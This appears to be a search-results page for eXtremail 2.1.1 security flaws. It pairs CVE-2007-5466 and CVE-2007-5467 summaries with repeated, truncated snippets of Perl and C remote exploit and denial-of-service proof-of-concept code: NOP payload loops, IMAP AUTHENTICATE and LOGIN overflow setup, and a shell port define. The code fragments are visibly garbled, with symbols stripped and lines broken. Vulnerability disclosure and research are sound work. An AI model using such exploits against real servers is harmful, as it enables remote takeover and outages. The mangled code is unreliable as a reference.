87 matches found
CVE-2007-5466
CVE-2007-5466 describes multiple buffer overflows in eXtremail 2.1.1 and earlier that allow remote code execution. Triggered by long strings sent to IMAP (port 143) or via long IMAP AUTHENTICATE PLAIN/LOGIN actions (involving ifParseAuthPlain and, for CRAM‑MD5, ifProcImapAuth1), and by a long LOG...
CVE-2007-5467
Integer overflow in eXtremail 2.1.1 and earlier allows remote attackers to cause a denial of service, and possibly execute arbitrary code, via a long USER command containing "%s" sequences to the pop3 port 110/tcp, which are expanded to "%%s" before being used in the memmove function, possibly du...
CVE-2007-5467
CVE-2007-5467 affects eXtremail 2.1.1 and earlier, where an integer overflow in handling a long POP3 USER command with "%%s" sequences can lead to a deny/DoS and possibly arbitrary code execution. The underlying issue is tied to how memmove processes the expanded format string, reportedly related...
eXtremail <= 2.1.1 memmove() Remote Denial of Service Exploit
No description provided by source. !/usr/bin/perl extremail-v3.pl Copyright c 2006 by [email protected] eXtremail =2.1.1 remote root POC x86-lnx by mu-b - Fri Oct 06 2006 Tested on: eXtremail 2.1.1 lnx eXtremail 2.1.0 lnx - Private Source Code -DO NOT DISTRIBUTE -...
eXtremail <= 2.1.1 memmove() Remote Denial of Service Exploit
Exploit for linux platform in category dos / poc ============================================================= eXtremail eXtremail 1,50 $maxlen = intrand50 + 1; 0, $maxlen 0.75 - 0, $maxlen 0x75 - 1 $pad1len = intrand$maxlen 0.75; 0, $maxlen - $pad1len/2 - 1, $maxlen - $pad1len/2 $pad2len =...
ex211memmove-dos.txt
!/usr/bin/perl extremail-v3.pl Copyright c 2006 by eXtremail 1,50 $maxlen = intrand50 + 1; 0, $maxlen 0.75 - 0, $maxlen 0x75 - 1 $pad1len = intrand$maxlen 0.75; 0, $maxlen - $pad1len/2 - 1, $maxlen - $pad1len/2 $pad2len = intrand$maxlen - $pad1len/length"%s" + 1; $pad3len = $maxlen - $pad1len -...
eXtremail 2.1.1 - Remote Heap Overflow (PoC)
!/usr/bin/perl extremail-v8.pl Copyright c 2007 by eXtremail Connected\n"; sleep16; print"- Sending payload\n"; $buf = "\x00".$NOP x 0x2710-1; sendSOCKET, $buf, 0; sleep$senddelay; $buf = $NOP x 0x2710; while $loop-- print"- Sending payload ".$loop."\n"; sendSOCKET, $buf, 0; sleep$senddelay;...
eXtremail 2.1.1 - 'memmove()' Remote Denial of Service
!/usr/bin/perl extremail-v3.pl Copyright c 2006 by eXtremail 1,50 $maxlen = intrand50 + 1; 0, $maxlen 0.75 - 0, $maxlen 0x75 - 1 $pad1len = intrand$maxlen 0.75; 0, $maxlen - $pad1len/2 - 1, $maxlen - $pad1len/2 $pad2len = intrand$maxlen - $pad1len/length"%s" + 1; $pad3len = $maxlen - $pad1len -...
eXtremail <= 2.1.1 Remote Heap Overflow PoC
No description provided by source. !/usr/bin/perl extremail-v8.pl Copyright c 2007 by [email protected] eXtremail =2.1.1 remote PoC by mu-b - Wed Jan 31 2007 Tested on: eXtremail 2.1.1 lnx eXtremail 2.1.0 lnx - Private Source Code -DO NOT DISTRIBUTE -...
eXtremail <= 2.1.1 PLAIN authentication Remote Stack Overflow Exploit
No description provided by source. / extremail-v6.c Copyright c 2006 by [email protected] eXtremail =2.1.1 remote root exploit x86-lnx by mu-b - Wed Oct 18 2006 - Tested on: eXtremail 2.1.1 lnx eXtremail 2.1.0 lnx Stack overflow in ifParseAuthPlain ...
eXtremail <= 2.1.1 Remote Heap Overflow PoC
Exploit for linux platform in category dos / poc =========================================== eXtremail eXtremail Connected\n"; sleep16; print"- Sending payload\n"; $buf = "\x00".$NOP x 0x2710-1; sendSOCKET, $buf, 0; sleep$senddelay; $buf = $NOP x 0x2710; while $loop-- print"- Sending payload...
[Full-disclosure] eXtremail(ly easy) remote roots
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 The attached either exploit or demonstrate a rash of remotely exploitable bugs in eXtremail =2.1.1 which perhaps should be renamed to the more apt name of eXtremely-rootable-mail... of course, in the grand schema, these are more-or-less completely...
eXtremail <= 2.1.1 (LOGIN) Remote Stack Overflow Exploit
Exploit for linux platform in category remote exploits ======================================================== eXtremail eXtremail include include include include include define BUFSIZE 8192 define NOP 0x41 define PAD 0 / do you feel lucky? / define DEFPORT 4501 define PORTADMIN DEFPORT define...
ex211heap-overflow.txt
!/usr/bin/perl extremail-v8.pl Copyright c 2007 by eXtremail Connected\n"; sleep16; print"- Sending payload\n"; $buf = "\x00".$NOP x 0x2710-1; sendSOCKET, $buf, 0; sleep$senddelay; $buf = $NOP x 0x2710; while $loop-- print"- Sending payload ".$loop."\n"; sendSOCKET, $buf, 0; sleep$senddelay;...
CVE-2007-5467: Undefined Security Weakness
Integer overflow in eXtremail 2.1.1 and earlier allows remote attackers to cause a denial of service, and possibly execute arbitrary code, via a long USER command containing "%s" sequences to the pop3 port 110/tcp, which are expanded to "%%s" before being used in the memmove function, possibly du...
eXtremail <= 2.1.1 (LOGIN) Remote Stack Overflow Exploit
No description provided by source. / extremail-v4.c Copyright c 2006 by [email protected] eXtremail =2.1.1 remote root exploit x86-lnx by mu-b - Sun Oct 08 2006 - Tested on: eXtremail 2.1.1 lnx Overflow in LOGIN command of admin interface. ...
eXtremail 2.1.1 - PLAIN Authentication Remote Stack Overflow
eXtremail 2.1.1 - PLAIN Authentication Remote Stack Overflow / extremail-v6.c Copyright c 2006 by eXtremail include include include include include define BUFSIZE 2048 define BBUFSIZE BUFSIZE/34+1 define NOP 0x41 define AUTHCMD "1 AUTHENTICATE PLAIN\n" define DEFPORT 143 define PORTIMAPD DEFPORT...
CVE-2007-5466: Improper Restriction of Operations within the Bounds of a Memory Buffer
Multiple buffer overflows in eXtremail 2.1.1 and earlier allow remote attackers to 1 have an unknown impact by sending multiple long strings to the IMAP port 143/tcp; 2 execute arbitrary code via a long string in an IMAP AUTHENTICATE PLAIN action, involving the ifParseAuthPlain function; 3 execut...
eXtremail 2.1.1 - LOGIN Remote Stack Overflow
eXtremail 2.1.1 - LOGIN Remote Stack Overflow / extremail-v4.c Copyright c 2006 by eXtremail include include include include include define BUFSIZE 8192 define NOP 0x41 define PAD 0 / do you feel lucky? / define DEFPORT 4501 define PORTADMIN DEFPORT define PORTSHELL 4444 static const char...
eXtremail 2.1.1 - memmove() Remote Denial of Service
eXtremail 2.1.1 - memmove Remote Denial of Service !/usr/bin/perl extremail-v3.pl Copyright c 2006 by eXtremail 1,50 $maxlen = intrand50 + 1; 0, $maxlen 0.75 - 0, $maxlen 0x75 - 1 $pad1len = intrand$maxlen 0.75; 0, $maxlen - $pad1len/2 - 1, $maxlen - $pad1len/2 $pad2len = intrand$maxlen -...